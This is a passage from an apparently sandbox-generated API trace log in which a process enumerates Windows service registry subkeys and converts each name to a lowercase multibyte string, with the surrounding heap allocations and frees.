(HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.916] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0248.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0248.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f18e0, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0248.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.916] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0248.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0248.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.917] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.917] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.917] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.917] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0248.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0248.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.917] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.917] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.917] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.917] RegEnumKeyW (in: hKey=0x154, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0248.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0248.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.917] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.917] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.917] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.917] RegEnumKeyW (in: hKey=0x154, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0248.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0248.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0248.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.917] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.917] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.918] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.918] RegEnumKeyW (in: hKey=0x154, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0248.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1bf8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0248.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.918] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.918] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.918] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.918] RegEnumKeyW (in: hKey=0x154, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0248.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0248.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.918] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.918] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.918] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.918] RegEnumKeyW (in: hKey=0x154, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0248.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0248.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.918] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.918] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.918] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.918] RegEnumKeyW (in: hKey=0x154, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0248.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0248.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.919] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.919] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.919] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.919] RegEnumKeyW (in: hKey=0x154, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0248.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0248.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.919] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.919] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.919] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.919] RegEnumKeyW (in: hKey=0x154, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0248.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0248.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.919] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.919] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.919] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.919] RegEnumKeyW (in: hKey=0x154, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0248.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0248.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0248.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.919] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.919] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.919] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.919] RegEnumKeyW (in: hKey=0x154, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0248.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0248.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.920] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.920] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.920] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.920] RegEnumKeyW (in: hKey=0x154, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0248.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0248.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.920] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.920] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.920] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.920] RegEnumKeyW (in: hKey=0x154, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0248.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0248.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.920] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.920] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.920] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.920] RegEnumKeyW (in: hKey=0x154, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0248.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0248.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.920] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.921] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0248.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0248.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0248.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.921] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0248.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0248.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.921] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0248.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0248.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.921] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0248.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.922] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0248.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.922] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0248.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.922] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.922] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, 